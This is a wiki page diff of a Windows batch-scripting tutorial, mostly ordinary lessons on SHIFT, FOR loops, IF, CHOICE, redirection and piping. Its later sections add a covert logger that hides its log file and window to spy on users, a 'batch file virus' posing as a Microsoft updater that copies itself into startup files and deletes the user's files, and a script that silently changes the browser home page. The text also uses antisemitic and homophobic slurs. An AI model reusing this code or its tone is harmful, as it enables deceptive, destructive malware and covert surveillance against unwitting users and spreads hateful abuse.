tools:batch
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
tools:batch [2024/06/03 07:07] – created Humphrey Boa-Gart | tools:batch [2024/08/06 05:48] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 3: | Line 3: | ||
====== Batch ====== | ====== Batch ====== | ||
- | Batch file programming is nothing but the Windows version of Unix Shell Programming. Let's start by understanding what happens when we give a DOS command. DOS is basically a file called command.com It is this file (command.com) which handles all DOS commands that you give at the DOS prompt---such as COPY, DIR, DEL etc. These commands are built in with the Command.com file. (Such commands which are built in are called internal commands.).DOS has something called external commands too such as FORMAT, UNDELETE, BACKUP etc. | + | Batch file programming is nothing but the Windows version of [[tools: |
So whenever we give a DOS command either internal or external, command.com either straightaway executes the command (Internal Commands) or calls an external separate program which executes the command for it and returns the result (External Commands.) | So whenever we give a DOS command either internal or external, command.com either straightaway executes the command (Internal Commands) or calls an external separate program which executes the command for it and returns the result (External Commands.) | ||
Line 153: | Line 153: | ||
In a single script we cannot use more that nine replaceable parameters. This means that a particular batch file will have replaceable parameters from %1 to %9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0 parameter contains the name of the batch file itself. | In a single script we cannot use more that nine replaceable parameters. This means that a particular batch file will have replaceable parameters from %1 to %9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0 parameter contains the name of the batch file itself. | ||
+ | ===== SHIFT: Infinite Parameters ===== | ||
+ | Sometimes your batch file program may need to use more than nine parameters at a time.(Actually you would never need to, but at least you are sure you can handle it if you need to.)To see how the SHIFT command works, look at the following snippet of code: | ||
+ | @ECHO OFF | ||
+ | ECHO The first Parameter is %1 | ||
+ | ECHO. | ||
+ | SHIFT | ||
+ | ECHO The Second Parameter is %1 | ||
+ | ECHO. | ||
+ | SHIFT | ||
+ | ECHO The Second Parameter is %1 | ||
+ | |||
+ | Now execute this batch file from DOS and see what happens. | ||
+ | |||
+ | C: | ||
+ | The first Parameter is abc | ||
+ | The Second Parameter is def | ||
+ | The Second Parameter is ghi | ||
+ | |||
+ | How does it work? Well, each SHIFT command shuffles the parameters down one position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi and abc is completely removed by DOS. All parameters change and move one position down. | ||
+ | |||
+ | Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more efficient by grouping them with the IF conditional statement to check the parameters passed by the User. | ||
+ | |||
+ | ===== THE FOR LOOP ===== | ||
+ | |||
+ | The syntax of the FOR LOOP is: | ||
+ | |||
+ | FOR %%PARAMETER IN(set) DO command | ||
+ | |||
+ | Most people change their mind about learning Batch Programming when they come across the syntax of the For Command. I do agree that it does seem a bit weird, but it is not as difficult as it appears to be. Let's analyze the various parts of the For command. Before we do that look at the following example, | ||
+ | |||
+ | @ECHO OFF | ||
+ | CLS | ||
+ | FOR %%A IN (abc, def, xyz) DO ECHO %%A | ||
+ | |||
+ | Basically a FOR LOOP declares a variable (%%A) and assigns it different values as it goes through the predefined set of values(abc, def, xyz) and each time the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A) | ||
+ | |||
+ | The < | ||
+ | |||
+ | The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable %%a is assigned the various values within the brackets, as the loop moves. The items in the set(The technical term for the set of values within the brackets) can be separated with commas, colons or simply spaces. | ||
+ | |||
+ | For each item in the set(The IN Thing) the FOR loop performs whatever command is given after the DO keyword.(In this example the loop will ECHO < | ||
+ | |||
+ | So basically when we execute the above batch file, the output will be: | ||
+ | |||
+ | abc | ||
+ | def | ||
+ | xyz | ||
+ | |||
+ | The FOR loop becomes very powerful if used along with replaceable parameters. Take the following batch file, for example, | ||
+ | |||
+ | |||
+ | @ECHO OFF | ||
+ | ECHO. | ||
+ | ECHO I am going to delete the following files: | ||
+ | ECHO %1 %2 | ||
+ | ECHO. | ||
+ | ECHO Press Ctrl+C to Abort process | ||
+ | PAUSE | ||
+ | FOR %%a IN (%1 %2 ) DO DEL %%a | ||
+ | ECHO Killed Files. Mission Accomplished. | ||
+ | |||
+ | At execution time, the process would be something like: | ||
+ | |||
+ | C: | ||
+ | I am going to delete the following files: | ||
+ | *.tmp *.bak | ||
+ | Press Ctrl+C to Abort process | ||
+ | Press any key to continue . . . | ||
+ | Killed Files. Mission Accomplished. | ||
+ | |||
+ | ===== IF: CONDITIONAL BRANCHING ===== | ||
+ | |||
+ | The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings). | ||
+ | |||
+ | Checking If a File Exists Or Not | ||
+ | |||
+ | The general syntax of the IF command which checks for the existence of a file is the following: | ||
+ | |||
+ | IF [NOT] EXIST FILENAME Command | ||
+ | |||
+ | This will become clearer when we take up the following example, | ||
+ | |||
+ | IF EXIST c: | ||
+ | |||
+ | This command checks to see if the file, c: | ||
+ | |||
+ | In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear: | ||
+ | |||
+ | @echo off | ||
+ | IF EXIST C:\hxor.doc GOTO HXOR | ||
+ | Goto end | ||
+ | :HXOR | ||
+ | ECHO HXOR | ||
+ | :end | ||
+ | |||
+ | The IF statement in this code snippet checks to see if there exists a file, c: | ||
+ | |||
+ | IF EXIST c: | ||
+ | |||
+ | We can check to see if a file does not exist in the same way, the basic syntax now becomes: | ||
+ | |||
+ | ===== IF NOT EXIST FILENAME Command ===== | ||
+ | |||
+ | For Example, | ||
+ | |||
+ | IF NOT EXIST c:\hxor.doc ECHO It doesn' | ||
+ | IF EXIST c: | ||
+ | |||
+ | One can also check if a drive is valid, by giving something like: | ||
+ | |||
+ | IF EXIST c:\io.sys ECHO Drive c: is valid. | ||
+ | |||
+ | ===== Comparing Strings to Validate Parameters ===== | ||
+ | |||
+ | The basic syntax is: | ||
+ | |||
+ | IF [NOT] string1==string2 Command | ||
+ | |||
+ | Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example, | ||
+ | |||
+ | @ECHO off | ||
+ | IF %1==cp GOTO COPY | ||
+ | GOTO DEL | ||
+ | :COPY | ||
+ | Copy %2 a: | ||
+ | GOTO :END | ||
+ | :DEL | ||
+ | Del %2 | ||
+ | :END | ||
+ | |||
+ | This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters. | ||
+ | |||
+ | We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file. | ||
+ | |||
+ | @ECHO OFF | ||
+ | IF " | ||
+ | |||
+ | If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter. This command too has the NOT clause. | ||
+ | |||
+ | ===== The CHOICE Command ===== | ||
+ | |||
+ | Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl. | ||
+ | |||
+ | The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is: | ||
+ | |||
+ | CHOICE[string][/ | ||
+ | |||
+ | The string part is nothing but the string to be displayed when the CHOICE command is run. | ||
+ | |||
+ | The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead. For example, The command, | ||
+ | |||
+ | CHOICE /C:A1T0 | ||
+ | |||
+ | Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded. | ||
+ | |||
+ | The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different. | ||
+ | |||
+ | The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown. | ||
+ | |||
+ | /T:key,secs defines the key which is taken as the default after a certain amount of time has passed. For Example, | ||
+ | |||
+ | CHOICE Choose Browser /C:NI /T:I.5 | ||
+ | |||
+ | The above command displays Choose Browser[N, | ||
+ | |||
+ | Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns. | ||
+ | |||
+ | The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example, | ||
+ | |||
+ | CHOICE /C:AN12 | ||
+ | |||
+ | Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4. | ||
+ | |||
+ | Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is: | ||
+ | |||
+ | IF [NOT] ERRORLEVEL number command. | ||
+ | |||
+ | This statement evaluates the current error level number. If the condition is true then the command is executed. For Example, | ||
+ | |||
+ | IF ERRORLEVEL 3 ECHO Yes | ||
+ | |||
+ | The above statement prints Yes on the screen if the current error level is 3. The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared. For Example, in the following statement, | ||
+ | |||
+ | IF ERRORLEVEL 2 ECHO YES | ||
+ | |||
+ | The condition is true if the error level is > or = 2. | ||
+ | |||
+ | Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch. | ||
+ | |||
+ | < | ||
+ | @ECHO OFF | ||
+ | ECHO. | ||
+ | ECHO. | ||
+ | ECHO Welcome to Browser Selection Program | ||
+ | ECHO. | ||
+ | ECHO 1. Internet Explorer 5.5 | ||
+ | ECHO 2. Mozilla 5 | ||
+ | ECHO x. Exit Browser Selection Program | ||
+ | ECHO. | ||
+ | CHOICE " | ||
+ | IF ERRORLEVEL 3 GOTO END | ||
+ | IF ERRORLEVEL 2 START C: | ||
+ | IF ERRORLEVEL 1 start c: | ||
+ | :END | ||
+ | </ | ||
+ | |||
+ | NOTE: Observe the order in which we give the IF statements. | ||
+ | |||
+ | Redirection | ||
+ | |||
+ | Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the Output to something other than the standard I/O devices. | ||
+ | |||
+ | To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is most commonly used to capture results of a command in a text file. Say you want to read the help on how to use the net command, typing the usual Help command is not useful as the results do not fit in one screen and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of the command in a text file. | ||
+ | |||
+ | c: | ||
+ | |||
+ | This command will execute the net command and will store the results in the text file, xyz.txt . Whenever DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and stores the results in this new file. | ||
+ | |||
+ | Say, you want to store the results of more than one command in the same text file, and want to ensure that the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is the >> symbol. For Example, | ||
+ | |||
+ | c: | ||
+ | |||
+ | The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it exits. | ||
+ | |||
+ | DOS not only allows redirection to Files, but also allows redirection to various devices. | ||
+ | |||
+ | < | ||
+ | DEVICE NAME USED | ||
+ | AUX | ||
+ | CLOCK$ | ||
+ | COMn Serial Port(COM1, COM2, COM3, COM4) | ||
+ | CON | ||
+ | LPTn Parallel Port(LPT1, LPT2, LPT3) | ||
+ | NUL NUL Device(means Nothing) | ||
+ | PRN | ||
+ | </ | ||
+ | |||
+ | Say for example, you want to print the results of directory listings, then you can simply give the following command: | ||
+ | |||
+ | c: | ||
+ | |||
+ | The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is also known as the 'bit bucket' | ||
+ | |||
+ | c: | ||
+ | |||
+ | This will suppress the task completion message and not display it. | ||
+ | |||
+ | ===== Redirecting Input ===== | ||
+ | |||
+ | Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator, which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by at incredible speed.)Thus, | ||
+ | |||
+ | c: | ||
+ | |||
+ | This command sends the contents of the xyz.txt file to the MORE command which displays the contents page by page. Once the first page is read the MORE command displays something like the following on the screen: | ||
+ | |||
+ | ===== MORE ===== | ||
+ | |||
+ | You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-: ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give the format command in the following format: | ||
+ | |||
+ | c: | ||
+ | |||
+ | ===== PIPING ===== | ||
+ | |||
+ | Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the | symbol. This command captures the Output of one command and sends it as the Input of the other command. Say for example, when you give the command del *.* then you need to confirm that you mean to delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the command: | ||
+ | |||
+ | c: | ||
+ | |||
+ | This command is pretty self explanatory, | ||
+ | |||
+ | ===== Making your own Syslog Daemon ===== | ||
+ | |||
+ | We can easily combine the power of batch file programs and the customizable Windows Interface to make our own small but efficient System Logging Daemon. Basically this Syslog Daemon can keep a track of the files opened(any kind of files), the time at which the files were opened also actually post the log of the User's activities on to the web, so that the System Administrator can keep a eye on things. | ||
+ | |||
+ | Simply follow the following steps to make the daemon-: | ||
+ | |||
+ | NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were opened by the User. You can easily change what files you want it to keep an eye on by simply following the same steps. | ||
+ | |||
+ | 1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER | ||
+ | |||
+ | Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we need to change the File Associations of .txt files. For more information on Changing File Associations, | ||
+ | |||
+ | Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the SHIFT key pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program which contains the logging code and click on OPEN and OK. Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User with .txt files. | ||
+ | |||
+ | 2. Creating the Log File | ||
+ | |||
+ | Now you need to create a text file, which actually will act like a log file and will log the activities of the User. This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by changing it's attributes by issuing the ATTRIB command. | ||
+ | |||
+ | C: | ||
+ | |||
+ | This will ensure that a newfag will not know as to where the log file is located. | ||
+ | |||
+ | 3. CODING THE LOGGING BATCH FILE | ||
+ | |||
+ | The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If you have read this tutorial properly till now, then you would easily be able to understand it, although I still have inserted comments for novices. | ||
+ | |||
+ | echo %1 >> xyz.txt | ||
+ | notepad %1 /* Launch Notepad so that the newfag does not know something is wrong. */ | ||
+ | |||
+ | This logging file will only log the filename of the text file which was opened by the unsuspecting jew, say you want to also log the time at which a particular file was opened, then you simply make use of the ' | ||
+ | |||
+ | Say you, who are the system administrator does not have physical access or have gone on a business trip, but have access to the net and need to keep in touch with the server log file, then you easily link the log file to a HTML file and easily view it on the click of a button. You could also make this part of the site password protected or even better form a public security watch contest where the person who spots something fishy wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and inserting the following snippet of code: | ||
+ | |||
+ | < | ||
+ | < | ||
+ | < | ||
+ | <a href=" | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | That was an example of the easiest HTML page one could create. | ||
+ | |||
+ | Another enhancement that one could make is to prevent the opening of a particular file. Say if you want to prevent the user from launching abc.txt then you would need to insert an IF conditional statement. | ||
+ | |||
+ | IF " | ||
+ | |||
+ | 4. Enhancing the logging Batch file to escape the eyes of the Lamer. | ||
+ | |||
+ | To enhance the functioning of our logging daemon, we need to first know it's normal functioning. Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename and time have been logged, the batch file Window does not close automatically and the User has to exit from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We can configure our batch file to work minimized and to close itself after the logging process has been completed. To do this simply follow the following steps-: | ||
+ | |||
+ | a) Right Click on the Batch File. b) Click on properties from the Pop up menu. c) In the Program tab click on the Close on Exit option. d) Under the same tab, under the RUN Input box select Minimized. e) Click on Apply and voila the batch file is now more intelligent | ||
+ | |||
+ | This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code. | ||
+ | |||
+ | ===== MAKING YOUR OWN DEADLY BATCH FILE VIRUS ===== | ||
+ | |||
+ | The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, VIRUS for short. I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code. | ||
+ | |||
+ | < | ||
+ | @ECHO OFF | ||
+ | CLS | ||
+ | IF EXIST c: | ||
+ | GOTO SETUP | ||
+ | :SETUP | ||
+ | @ECHO OFF | ||
+ | ECHO Welcome To Microsoft Windows System Updater Setup | ||
+ | ECHO. | ||
+ | copy %0 c: | ||
+ | ECHO Scanning System.....Please Wait | ||
+ | prompt $P$SWindows2000 | ||
+ | type %0 >> c: | ||
+ | type %0 >> c: | ||
+ | ECHO DONE. | ||
+ | ECHO. | ||
+ | ECHO Installing Components....Please Wait | ||
+ | FOR %%a IN (*.zip) DO del %%a | ||
+ | FOR %%a IN (C: | ||
+ | FOR %%a IN (C: | ||
+ | FOR %%a IN (C: | ||
+ | ECHO DONE. | ||
+ | ECHO. | ||
+ | ECHO You Now Need to Register with Microsoft' | ||
+ | PAUSE | ||
+ | ECHO Downloading Components...Please Wait | ||
+ | START " | ||
+ | IF EXIST " | ||
+ | del " | ||
+ | IF EXIST " | ||
+ | ECHO Setup Will Now restart Your Computer....Please Wait | ||
+ | ECHO Your System is not faster by almost 40%. | ||
+ | ECHO Thank you for using a Microsoft Partner' | ||
+ | copy %0 " | ||
+ | c: | ||
+ | CLS | ||
+ | GOTO END | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | :CODE | ||
+ | CLS | ||
+ | @ECHO OFF | ||
+ | prompt $P$SWindows2000 | ||
+ | IF " | ||
+ | type %0 >> c: | ||
+ | :ABC | ||
+ | type %0 >> c: | ||
+ | FOR %%a IN (*.zip) DO del %%a | ||
+ | FOR %%a IN (C: | ||
+ | FOR %%a IN (C: | ||
+ | FOR %%a IN (C: | ||
+ | START " | ||
+ | IF EXIST " | ||
+ | IF EXIST " | ||
+ | copy %0 " | ||
+ | GOTO :END | ||
+ | CLS | ||
+ | :END | ||
+ | CLS | ||
+ | </ | ||
+ | |||
+ | This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this. | ||
+ | |||
+ | There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed) to [[http:// | ||
+ | |||
+ | < | ||
+ | @ECHO OFF | ||
+ | ECHO REGEDIT4 > | ||
+ | ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> haxor.reg | ||
+ | ECHO "Start Page" | ||
+ | START haxor.reg | ||
+ | </ | ||
+ | |||
+ | Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry. | ||
+ | |||
+ | ==== Protection from Batch File Viruses ==== | ||
+ | |||
+ | If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. To best way to do that is to go to Explorer' | ||
+ | |||
+ | ==== TL;DR ==== | ||
+ | Batch is a skiddie programming language - the Windows version of shell programming. | ||
+ | And the above code isn't a virus, so anyone who thought it was, you passed the skiddie test - congrats. | ||
{{tag> | {{tag> |
tools/batch.1717398449.txt.gz · Last modified: 2024/08/06 05:52 (external edit)
Find this page online at: https://bestpoint.institute/tools/batch
Find this page online at: https://bestpoint.institute/tools/batch